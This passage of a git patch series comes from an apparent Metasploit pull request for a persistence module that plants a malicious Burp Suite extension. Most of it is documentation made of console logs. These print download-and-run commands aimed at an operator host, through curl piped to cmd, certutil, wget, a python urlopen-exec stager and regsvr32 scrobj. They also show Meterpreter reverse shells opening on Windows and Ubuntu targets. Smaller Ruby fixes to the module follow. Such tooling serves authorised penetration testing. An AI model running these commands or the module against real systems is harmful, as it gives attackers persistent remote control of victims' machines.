remote host: curl -s http://1.1.1.1:8080/w3|cmd +[*] Payload Handler Started as Job 0 +[*] Fetch handler listening on 1.1.1.1:8080 +[*] HTTP server started +[*] Adding resource /VIFzePGTMLa1dcpTvMRQBg +[*] Adding resource /w3 +[*] Started reverse TCP handler on 1.1.1.1:4450 +msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > +[*] Client 2.2.2.2 requested /w3 +[*] Sending payload to 2.2.2.2 (curl/7.79.1) +[*] Client 2.2.2.2 requested /VIFzePGTMLa1dcpTvMRQBg +[*] Sending payload to 2.2.2.2 (curl/7.79.1) +[*] Meterpreter session 1 opened (1.1.1.1:4450 -> 2.2.2.2:55729) at 2026-01-16 05:24:25 -0500 + +msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: WIN10PROLICENSE\windows +meterpreter > sysinfo +Computer : WIN10PROLICENSE +OS : Windows 10 1909 (10.0 Build 18363). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > background +[*] Backgrounding session 1... +``` + +Install Persistence + +``` +msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > use exploit/multi/persistence/burp_extension +[*] No payload configured, defaulting to java/meterpreter/reverse_tcp +[*] Setting default action precompiled - view all 2 actions with the show actions command +msf exploit(multi/persistence/burp_extension) > set session 1 +session => 1 +msf exploit(multi/persistence/burp_extension) > set target 2 +target => 2 +msf exploit(multi/persistence/burp_extension) > set PAYLOAD cmd/windows/http/x64/meterpreter/reverse_tcp +PAYLOAD => cmd/windows/http/x64/meterpreter/reverse_tcp +msf exploit(multi/persistence/burp_extension) > set lport 9812 +lport => 9812 +msf exploit(multi/persistence/burp_extension) > set writabledir c:\\users\\windows\\desktop +writabledir => c:\users\windows\desktop +msf exploit(multi/persistence/burp_extension) > rexploit +[*] Reloading module... +[*] Command to run on remote host: certutil -urlcache -f http://1.1.1.1:8080/v3fXAwPgMBDCL44G1aW0KQ %TEMP%\CYdTYFAds.exe & start /B %TEMP%\CYdTYFAds.exe +[*] Exploit running as background job 1. [*] Exploit completed, but no session was created. -[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > -[*] Started reverse TCP handler on 1.1.1.1:4646 -[*] Using URL: http://1.1.1.1:8282/dRgZhDZiHCi7X -[*] Server started. -[*] Run the following command on the target machine: -python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://1.1.1.1:8282/dRgZhDZiHCi7X', context=ssl._create_unverified_context());exec(r.read());" -[*] 1.1.1.1 web_delivery - Delivering Payload (436 bytes) -[*] Sending stage (24772 bytes) to 1.1.1.1 -[*] Meterpreter session 1 opened (1.1.1.1:4646 -> 1.1.1.1:44554) at 2025-01-21 14:26:57 -0500 +msf exploit(multi/persistence/burp_extension) > +[*] Fetch handler listening on 1.1.1.1:8080 +[*] HTTP server started +[*] Adding resource /v3fXAwPgMBDCL44G1aW0KQ +[*] Started reverse TCP handler on 1.1.1.1:9812 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Home path detected as: C:\Users\windows +[!] The service is running, but could not be validated. Found UserConfig file C:\Users\windows\AppData\Roaming\Burpsuite\UserConfigCommunity.json +[*] Burp UserConfig file: C:\Users\windows\AppData\Roaming\Burpsuite\UserConfigCommunity.json +[*] Burp JAR file: C:\Users\windows\AppData\Local\BurpSuiteCommunity\burpsuite_community.jar +[*] Creating extension +[*] Using extension name: BuIwiN +[*] Creating JAR file +[*] Writing malicious extension to disk: c:\users\windows\desktop\BuIwiN.jar +[*] Modifying Burp configuration and adding malicious extension +[+] Config file saved in: /root/.msf4/loot/20260116054809_default_2.2.2.2_burp.config.json_765439.bin +[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20260116.4809/WIN10PROLICENSE_20260116.4809.rc +``` + +Launch Burp + +``` +[*] Client 2.2.2.2 requested /v3fXAwPgMBDCL44G1aW0KQ +[*] Sending payload to 2.2.2.2 (Microsoft-CryptoAPI/10.0) +[*] Client 2.2.2.2 requested /v3fXAwPgMBDCL44G1aW0KQ +[*] Sending payload to 2.2.2.2 (CertUtil URL Agent) +[*] Sending stage (230982 bytes) to 2.2.2.2 +[*] Meterpreter session 2 opened (1.1.1.1:9812 -> 2.2.2.2:55876) at 2026-01-16 05:49:34 -0500 +``` + +### Burp 2025.12.3 on Windows 10, build with Java target -[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1 +Initial Access + +``` +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1 +lhost => 1.1.1.1 +resource (/root/.msf4/msfconsole.rc)> use payload/cmd/windows/http/x64/meterpreter_reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set fetch_command CURL +fetch_command => CURL +resource (/root/.msf4/msfconsole.rc)> set fetch_pipe true +fetch_pipe => true +resource (/root/.msf4/msfconsole.rc)> set lport 4450 +lport => 4450 +resource (/root/.msf4/msfconsole.rc)> set FETCH_URIPATH w3 +FETCH_URIPATH => w3 +resource (/root/.msf4/msfconsole.rc)> set FETCH_FILENAME mkaKJBzbDB +FETCH_FILENAME => mkaKJBzbDB +resource (/root/.msf4/msfconsole.rc)> to_handler +[*] Command served: curl -so %TEMP%\mkaKJBzbDB.exe http://1.1.1.1:8080/VIFzePGTMLa1dcpTvMRQBg & start /B %TEMP%\mkaKJBzbDB.exe + +[*] Command to run on remote host: curl -s http://1.1.1.1:8080/w3|cmd +[*] Payload Handler Started as Job 0 +[*] Fetch handler listening on 1.1.1.1:8080 +[*] HTTP server started +[*] Adding resource /VIFzePGTMLa1dcpTvMRQBg +[*] Adding resource /w3 +[*] Started reverse TCP handler on 1.1.1.1:4450 +msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > [*] Meterpreter session 1 opened (1.1.1.1:4450 -> 2.2.2.2:55900) at 2026-01-16 05:53:50 -0500 + +msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > sessions -i 1 [*] Starting interaction with 1... -(Meterpreter 1)(/root/metasploit-framework) > sysinfo -Computer : kali -OS : Linux 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) +meterpreter > getuid +Server username: WIN10PROLICENSE\windows +meterpreter > sysinfo +Computer : WIN10PROLICENSE +OS : Windows 10 1909 (10.0 Build 18363). Architecture : x64 System Language : en_US -Meterpreter : python/linux -(Meterpreter 1)(/root/metasploit-framework) > getuid -Server username: h00die +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > background +[*] Backgrounding session 1... ``` -#### Burp via Build +Install Persistence ``` -[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/local/burp_extension_persistence +msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > use exploit/multi/persistence/burp_extension [*] No payload configured, defaulting to java/meterpreter/reverse_tcp -[*] Using action precompiled - view all 2 actions with the show actions command -[msf](Jobs:1 Agents:1) exploit(multi/local/burp_extension_persistence) > set session 1 +[*] Setting default action precompiled - view all 2 actions with the show actions command +msf exploit(multi/persistence/burp_extension) > set session 1 session => 1 -[msf](Jobs:1 Agents:1) exploit(multi/local/burp_extension_persistence) > set action build -action => build -[msf](Jobs:1 Agents:1) exploit(multi/local/burp_extension_persistence) > set target 1 -target => 1 -[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > set action build +msf exploit(multi/persistence/burp_extension) > set action build action => build -[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > set target 1 -target => 1 -[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > set writabledir /tmp/ -writabledir => /tmp/ -[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > set payload cmd/unix/python/meterpreter/reverse_tcp -payload => cmd/unix/python/meterpreter/reverse_tcp -[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > exploit -[*] Exploit running as background job 3. +msf exploit(multi/persistence/burp_extension) > set PAYLOAD payload/java/meterpreter/reverse_tcp +PAYLOAD => java/meterpreter/reverse_tcp +msf exploit(multi/persistence/burp_extension) > set lport 9815 +lport => 9815 +msf exploit(multi/persistence/burp_extension) > set writabledir c:\\users\\windows\\desktop +writabledir => c:\users\windows\desktop +msf exploit(multi/persistence/burp_extension) > rexploit +[*] Reloading module... +[*] Exploit running as background job 1. [*] Exploit completed, but no session was created. -[msf](Jobs:1 Agents:1) exploit(multi/local/burp_extension_persistence) > -[*] Started reverse TCP handler on 1.1.1.1:4444 -[!] SESSION may not be compatible with this module: -[!] * missing Meterpreter features: stdapi_registry_check_key_exists, stdapi_registry_create_key, stdapi_registry_delete_key, stdapi_registry_enum_key_direct, stdapi_registry_enum_value_direct, stdapi_registry_load_key, stdapi_registry_open_key, stdapi_registry_query_value_direct, stdapi_registry_set_value_direct, stdapi_registry_unload_key, stdapi_sys_config_getprivs +msf exploit(multi/persistence/burp_extension) > +[*] Started reverse TCP handler on 1.1.1.1:9815 [*] Running automatic check ("set AutoCheck false" to disable) [+] Gradle found -[*] Found config file: /root/.java/.userPrefs/burp/prefs.xml -[*] Found config file: /root/.java/.userPrefs/burp/community/prefs.xml -[*] Config mentioned in settings, but not found: /tmp/burp.json -[!] The service is running, but could not be validated. No config file listed, only writing plugin to disk -[*] Using extension name: 0jPrAJt +[*] Home path detected as: C:\Users\windows +[!] The service is running, but could not be validated. Found UserConfig file C:\Users\windows\AppData\Roaming\Burpsuite\UserConfigCommunity.json +[*] Burp UserConfig file: C:\Users\windows\AppData\Roaming\Burpsuite\UserConfigCommunity.json +[*] Burp JAR file: C:\Users\windows\AppData\Local\BurpSuiteCommunity\burpsuite_community.jar +[*] Creating extension +[*] Using extension name: IoWH [*] Creating JAR file -[*] Building Burp extension jar file in /tmp/d20250121-7883-zppnzb -Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true -openjdk version "17.0.14-ea" 2025-01-21 -OpenJDK Runtime Environment (build 17.0.14-ea+6-Debian-1) -OpenJDK 64-Bit Server VM (build 17.0.14-ea+6-Debian-1, mixed mode, sharing) -Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true +[*] Building Burp extension jar file locally in /tmp/d20260116-127808-hkcygo +openjdk version "21.0.10-ea" 2026-01-20 +OpenJDK Runtime Environment (build 21.0.10-ea+4-Debian-1) +OpenJDK 64-Bit Server VM (build 21.0.10-ea+4-Debian-1, mixed mode, sharing) Starting a Gradle Daemon (subsequent builds will be faster) -BUILD SUCCESSFUL in 2s +:clean UP-TO-DATE + +:compileJava + +:processResources + +:classes + +:jar + +:assemble + +:compileTestJava NO-SOURCE + +:processTestResources NO-SOURCE + +:testClasses UP-TO-DATE + +:test NO-SOURCE + +:check UP-TO-DATE + +:build + + + +BUILD SUCCESSFUL in 7s + 4 actionable tasks: 3 executed, 1 up-to-date -[*] Writing malcious extension to disk: /tmp//0jPrAJt.jar -[+] Extension enabled, waiting for Burp to open with the config. -[*] Sending stage (24772 bytes) to 1.1.1.1 -[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 1.1.1.1:36144) at 2025-01-21 14:40:02 -0500 + +[+] Successfully built the jar file /tmp/d20260116-127808-hkcygo/build/libs/MetasploitPayloadExtension.jar +[*] Writing malicious extension to disk: c:\users\windows\desktop\IoWH.jar +[*] Modifying Burp configuration and adding malicious extension +[+] Config file saved in: /root/.msf4/loot/20260116060148_default_2.2.2.2_burp.config.json_518370.bin ``` -Burp Extension Install +Launch Burp -1. Open burp -2. Click Next for a Temporary project in memory -3. Click Start Burp -4. Select the Extensions tab -5. Click Add -6. Click Select file under Extension details, and pick the jar file which was uploaded to the target -7. Click Next +``` +[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20260116.0148/WIN10PROLICENSE_20260116.0148.rc +[*] Sending stage (58073 bytes) to 2.2.2.2 +[*] Meterpreter session 2 opened (1.1.1.1:9815 -> 2.2.2.2:56020) at 2026-01-16 06:14:57 -0500 +``` -#### Burp via Precompiled and User Settings +### Burp 2025.12.3 on Ubuntu 24.04, precompiled with Linux target -Export user settings: +Initial Access -1. From the main GUI click Settings -2. Click the 3 dots in the top right corner -3. Select User settings > Save user settings -4. save the file. No extension is needed, it will be `json` +``` +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1 +lhost => 1.1.1.1 +resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp +payload => cmd/linux/http/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set target 7 +target => 7 +resource (/root/.msf4/msfconsole.rc)> set srvport 8082 +srvport => 8082 +resource (/root/.msf4/msfconsole.rc)> set uripath l +uripath => l +resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set lport 4446 +lport => 4446 +resource (/root/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Started reverse TCP handler on 1.1.1.1:4446 +[*] Using URL: http://1.1.1.1:8082/l +[*] Server started. +[*] Run the following command on the target machine: +wget -qO wThmilCQ --no-check-certificate http://1.1.1.1:8082/l; chmod +x wThmilCQ; ./wThmilCQ& disown +msf exploit(multi/script/web_delivery) > +[*] 3.3.3.3 web_delivery - Delivering Payload (250 bytes) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3090404 bytes) to 3.3.3.3 +[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 3.3.3.3:43276) at 2026-01-16 06:31:49 -0500 + +msf exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... -Import user settings: +meterpreter > getuid +Server username: ubuntu +meterpreter > sysinfo +Computer : 3.3.3.3 +OS : Ubuntu 24.04 (Linux 6.14.0-37-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > background +[*] Backgrounding session 1... +``` -1. From the main GUI click Settings -2. Click the 3 dots in the top right corner -3. Select User settings > Load user settings -4. select the file which was previously saved -5. Upon loading, the payload will execute +Install Persistence ``` -[msf](Jobs:0 Agents:2) exploit(multi/local/burp_extension_persistence) > set action precompiled -action => precompiled -[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > set config /tmp/user_settings.json -config => /tmp/user_settings.json -[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > exploit -[*] Exploit running as background job 4. +msf exploit(multi/script/web_delivery) > use exploit/multi/persistence/burp_extension +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +[*] Setting default action precompiled - view all 2 actions with the show actions command +msf exploit(multi/persistence/burp_extension) > set session 1 +session => 1 +msf exploit(multi/persistence/burp_extension) > set target 1 +target => 1 +msf exploit(multi/persistence/burp_extension) > set PAYLOAD payload/cmd/unix/python/meterpreter/reverse_tcp +PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp +msf exploit(multi/persistence/burp_extension) > set lport 9816 +lport => 9816 +msf exploit(multi/persistence/burp_extension) > set writabledir /home/ubuntu/Desktop/ +writabledir => /home/ubuntu/Desktop/ +msf exploit(multi/persistence/burp_extension) > rexploit +[*] Reloading module... +[*] Exploit running as background job 1. [*] Exploit completed, but no session was created. -[msf](Jobs:1 Agents:1) exploit(multi/local/burp_extension_persistence) > -[*] Started reverse TCP handler on 1.1.1.1:4444 -[!] SESSION may not be compatible with this module: + +[*] Started reverse TCP handler on 1.1.1.1:9816 +msf exploit(multi/persistence/burp_extension) > [!] SESSION may not be compatible with this module: [!] * missing Meterpreter features: stdapi_registry_check_key_exists, stdapi_registry_create_key, stdapi_registry_delete_key, stdapi_registry_enum_key_direct, stdapi_registry_enum_value_direct, stdapi_registry_load_key, stdapi_registry_open_key, stdapi_registry_query_value_direct, stdapi_registry_set_value_direct, stdapi_registry_unload_key, stdapi_sys_config_getprivs [*] Running automatic check ("set AutoCheck false" to disable) -[*] Found config file: /root/.java/.userPrefs/burp/prefs.xml -[*] Found config file: /root/.java/.userPrefs/burp/community/prefs.xml -[*] Config mentioned in settings, but not found: /tmp/burp.json -[!] The service is running, but could not be validated. Config file found: /tmp/user_settings.json -[*] Using extension name: sDojM +[*] Home path detected as: /home/ubuntu +[!] The service is running, but could not be validated. Found UserConfig file /home/ubuntu/.BurpSuite/UserConfigCommunity.json +[*] Burp UserConfig file: /home/ubuntu/.BurpSuite/UserConfigCommunity.json +[*] Burp JAR file: /home/ubuntu/BurpSuiteCommunity/burpsuite_community.jar +[*] Creating extension +[*] Using extension name: KdqJR [*] Creating JAR file -[*] Writing malcious extension to disk: /tmp//sDojM.jar -[*] Updating config file -[+] Config file saved in: /root/.msf4/loot/20250121145043_default_1.1.1.1_burp.config.json_619066.bin -[+] Extension written to disk, waiting for Burp to open and user to install extension. -[*] Sending stage (24772 bytes) to 1.1.1.1 -[*] Meterpreter session 3 opened (1.1.1.1:4444 -> 1.1.1.1:37714) at 2025-01-21 14:52:27 -0500 +[*] Writing malicious extension to disk: /home/ubuntu/Desktop//KdqJR.jar +[*] Modifying Burp configuration and adding malicious extension +[+] Config file saved in: /root/.msf4/loot/20260116073105_default_3.3.3.3_burp.config.json_225090.bin +[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/3.3.3.3_20260116.3105/3.3.3.3_20260116.3105.rc +``` + +Launch Burp + +``` +[*] Sending stage (23404 bytes) to 3.3.3.3 +[*] Meterpreter session 2 opened (1.1.1.1:9816 -> 3.3.3.3:59798) at 2026-01-16 07:45:08 -0500 + +msf exploit(multi/persistence/burp_extension) > ``` -### Windows +### Burp 2025.12.3 on Ubuntu 24.04, build with Java target -Initial shell +Initial Access ``` -[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > set target 3 -target => 3 -[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > set payload windows/x64/meterpreter/reverse_tcp -payload => windows/x64/meterpreter/reverse_tcp -[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > exploit -[*] Exploit running as background job 5. +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1 +lhost => 1.1.1.1 +resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp +payload => cmd/linux/http/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set target 7 +target => 7 +resource (/root/.msf4/msfconsole.rc)> set srvport 8082 +srvport => 8082 +resource (/root/.msf4/msfconsole.rc)> set uripath l +uripath => l +resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set lport 4446 +lport => 4446 +resource (/root/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. [*] Exploit completed, but no session was created. -[msf](Jobs:2 Agents:0) exploit(multi/script/web_delivery) > -[*] Started reverse TCP handler on 1.1.1.1:4646 -[*] Using URL: http://1.1.1.1:8282/ZOfTYkv5jpRpcv +[*] Started reverse TCP handler on 1.1.1.1:4446 +[*] Using URL: http://1.1.1.1:8082/l [*] Server started. [*] Run the following command on the target machine: -regsvr32 /s /n /u /i:http://1.1.1.1:8282/ZOfTYkv5jpRpcv.sct scrobj.dll -[*] Sending stage (203846 bytes) to 2.2.2.2 -[*] Meterpreter session 4 opened (1.1.1.1:4646 -> 2.2.2.2:51773) at 2025-01-21 15:11:44 -0500 +wget -qO z9hg2BUt --no-check-certificate http://1.1.1.1:8082/l; chmod +x z9hg2BUt; ./z9hg2BUt& disown +msf exploit(multi/script/web_delivery) > +[*] 3.3.3.3 web_delivery - Delivering Payload (250 bytes) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3090404 bytes) to 3.3.3.3 +[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 3.3.3.3:59534) at 2026-01-16 07:54:07 -0500 + +msf exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: ubuntu +meterpreter > sysinfo +Computer : 3.3.3.3 +OS : Ubuntu 24.04 (Linux 6.14.0-37-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > background +[*] Backgrounding session 1... ``` -Burp Extension +Install Persistence + ``` -[msf](Jobs:0 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/local/burp_extension_persistence -[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp -[*] Using action precompiled - view all 2 actions with the show actions command -[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > set target 2 -target => 2 -[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > set action precompiled -action => precompiled -[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > set payload cmd/windows/powershell/meterpreter/reverse_tcp -payload => cmd/windows/powershell/meterpreter/reverse_tcp -[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > set writabledir c:\\users\\windows\\Desktop\\ -writabledir => c:\users\windows\Desktop\ -[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > exploit -[*] Powershell command length: 4153 -[*] Exploit running as background job 8. +msf exploit(multi/script/web_delivery) > use exploit/multi/persistence/burp_extension +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +[*] Setting default action precompiled - view all 2 actions with the show actions command +msf exploit(multi/persistence/burp_extension) > set session 1 +session => 1 +msf exploit(multi/persistence/burp_extension) > set action build +action => build +msf exploit(multi/persistence/burp_extension) > set PAYLOAD payload/java/meterpreter/reverse_tcp +PAYLOAD => java/meterpreter/reverse_tcp +msf exploit(multi/persistence/burp_extension) > set lport 9817 +lport => 9817 +msf exploit(multi/persistence/burp_extension) > set writabledir /home/ubuntu/Desktop/ +writabledir => /home/ubuntu/Desktop/ +msf exploit(multi/persistence/burp_extension) > rexploit +[*] Reloading module... +[*] Exploit running as background job 1. [*] Exploit completed, but no session was created. -[msf](Jobs:1 Agents:1) exploit(multi/local/burp_extension_persistence) > -[*] Started reverse TCP handler on 1.1.1.1:4444 + +[*] Started reverse TCP handler on 1.1.1.1:9817 +msf exploit(multi/persistence/burp_extension) > [!] SESSION may not be compatible with this module: +[!] * missing Meterpreter features: stdapi_registry_check_key_exists, stdapi_registry_create_key, stdapi_registry_delete_key, stdapi_registry_enum_key_direct, stdapi_registry_enum_value_direct, stdapi_registry_load_key, stdapi_registry_open_key, stdapi_registry_query_value_direct, stdapi_registry_set_value_direct, stdapi_registry_unload_key, stdapi_sys_config_getprivs [*] Running automatic check ("set AutoCheck false" to disable) -[*] Found config: C:///Users//windows///Desktop//burp_user_settings.json -[!] The service is running, but could not be validated. No config file listed, only writing plugin to disk -[*] Using extension name: EKHhAH9U +[+] Gradle found +[*] Home path detected as: /home/ubuntu +[!] The service is running, but could not be validated. Found UserConfig file /home/ubuntu/.BurpSuite/UserConfigCommunity.json +[*] Burp UserConfig file: /home/ubuntu/.BurpSuite/UserConfigCommunity.json +[*] Burp JAR file: /home/ubuntu/BurpSuiteCommunity/burpsuite_community.jar +[*] Creating extension +[*] Using extension name: YBFkQz [*] Creating JAR file -[*] Writing malcious extension to disk: c:\users\windows\Desktop\/EKHhAH9U.jar -[+] Extension enabled, waiting for Burp to open with the config. -[*] Sending stage (177734 bytes) to 2.2.2.2 -[*] Meterpreter session 5 opened (1.1.1.1:4444 -> 2.2.2.2:51899) at 2025-01-21 15:17:54 -0500 -``` \ No newline at end of file +[*] Building Burp extension jar file locally in /tmp/d20260116-130356-yxz2cv +openjdk version "21.0.10-ea" 2026-01-20 +OpenJDK Runtime Environment (build 21.0.10-ea+4-Debian-1) +OpenJDK 64-Bit Server VM (build 21.0.10-ea+4-Debian-1, mixed mode, sharing) +:clean UP-TO-DATE + +:compileJava + +:processResources + +:classes + +:jar + +:assemble + +:compileTestJava NO-SOURCE + +:processTestResources NO-SOURCE + +:testClasses UP-TO-DATE + +:test NO-SOURCE + +:check UP-TO-DATE + +:build + + + +BUILD SUCCESSFUL in 1s + +4 actionable tasks: 3 executed, 1 up-to-date + +[+] Successfully built the jar file /tmp/d20260116-130356-yxz2cv/build/libs/MetasploitPayloadExtension.jar +[*] Writing malicious extension to disk: /home/ubuntu/Desktop//YBFkQz.jar +[*] Modifying Burp configuration and adding malicious extension +[+] Config file saved in: /root/.msf4/loot/20260116075456_default_3.3.3.3_burp.config.json_053290.bin +[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/3.3.3.3_20260116.5456/3.3.3.3_20260116.5456.rc +``` + +Launch Burp + +``` +[*] Sending stage (58073 bytes) to 3.3.3.3 +[*] Meterpreter session 2 opened (1.1.1.1:9817 -> 3.3.3.3:52712) at 2026-01-16 07:55:28 -0500 +``` diff --git a/modules/exploits/multi/persistence/burp_extension.rb b/modules/exploits/multi/persistence/burp_extension.rb index ce66315dad1d4..e64e6059da816 100644 --- a/modules/exploits/multi/persistence/burp_extension.rb +++ b/modules/exploits/multi/persistence/burp_extension.rb @@ -25,9 +25,8 @@ def initialize(info = {}) This module adds a java based malicious extension to the Burp Suite configuration file. When burp is opened, the extension will be loaded and the payload will be executed. - Tested against Burp Suite Community Edition v2024.9.4, v2024.10.3 on Kali. - Tested against Burp Suite Professional ??? on Kali. - Tested against Burp Suite Community Edition v2024.10.3 on Windows 10. + Tested against Burp Suite Community Edition v2024.9.4, on Ubuntu Desktop 24.04. + Tested against Burp Suite Community Edition v2025.12.3 on Windows 10. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -162,6 +161,7 @@ def modify_user_config(extension_location, extension_name) user_config_json['user_options']['extender']['extensions'] = extensions_config fail_with Failure::PayloadFailed, 'Module failed to overwrite UserConfig file' unless write_file(@userconfig_path, JSON.generate(user_config_json)) + @clean_up_rc << "upload #{path} #{@userconfig_path}\n" end def check @@ -209,7 +209,7 @@ def add_extension(settings_file, extension_location, extension_name) def run_local_gradle_build(extension_name) # Check if gradle is installed - fails_with(Failure::NotFound, 'Gradle is not installed on the local system.') unless File.exist?(datastore['GRADLE']) + fail_with(Failure::NotFound, 'Gradle is not installed on the local system.') unless File.exist?(datastore['GRADLE']) # Define source and destination directories src_dir = File.join(Msf::Config.data_directory, 'exploits', 'burp_extension') @@ -321,6 +321,7 @@ def install_persistence vprint_status("Writing malicious extension to disk: #{extension_location}") fail_with Failure::PayloadFailed, 'Failed to write malicious extension' unless write_file(extension_location, jar) + @clean_up_rc << "rm #{extension_location}\n" # overwrite configuration vprint_status('Modifying Burp configuration and adding malicious extension') modify_user_config(extension_location, extension_name) From cf43e496b16f6a8c6b5003fc5de33ef7361e599a Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 20 Jan 2026 19:27:08 -0500 Subject: [PATCH 20/23] Update modules/exploits/multi/persistence/burp_extension.rb Co-authored-by: msutovsky-r7 --- modules/exploits/multi/persistence/burp_extension.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/persistence/burp_extension.rb b/modules/exploits/multi/persistence/burp_extension.rb index e64e6059da816..2a3e1a749e022 100644 --- a/modules/exploits/multi/persistence/burp_extension.rb +++ b/modules/exploits/multi/persistence/burp_extension.rb @@ -30,7 +30,7 @@ def initialize(info = {}) }, 'License' => MSF_LICENSE, 'Author' => [ - 'h00die', # Module + 'h00die' # Module ], 'DisclosureDate' => '2025-01-01', 'SessionTypes' => [ 'shell', 'meterpreter' ], From ad343cb3832a71f1a669cf542fbb53311ddf72fd Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 20 Jan 2026 19:27:46 -0500 Subject: [PATCH 21/23] Update modules/exploits/multi/persistence/burp_extension.rb Co-authored-by: msutovsky-r7 --- modules/exploits/multi/persistence/burp_extension.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/persistence/burp_extension.rb b/modules/exploits/multi/persistence/burp_extension.rb index 2a3e1a749e022..b8969e95516e8 100644 --- a/modules/exploits/multi/persistence/burp_extension.rb +++ b/modules/exploits/multi/persistence/burp_extension.rb @@ -123,7 +123,7 @@ def get_userconfig_path def get_burp_executable if !datastore['BURP_JAR'].blank? - return nil if file?(datastore['BURP_JAR']) + return nil unless file?(datastore['BURP_JAR']) return datastore['BURP_JAR'] end From 0234dc7a269a5234a08828c6b5bb6bcc6762b059 Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 20 Jan 2026 19:28:18 -0500 Subject: [PATCH 22/23] Update modules/exploits/multi/persistence/burp_extension.rb Co-authored-by: msutovsky-r7 --- modules/exploits/multi/persistence/burp_extension.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/persistence/burp_extension.rb b/modules/exploits/multi/persistence/burp_extension.rb index b8969e95516e8..967b4db1155dd 100644 --- a/modules/exploits/multi/persistence/burp_extension.rb +++ 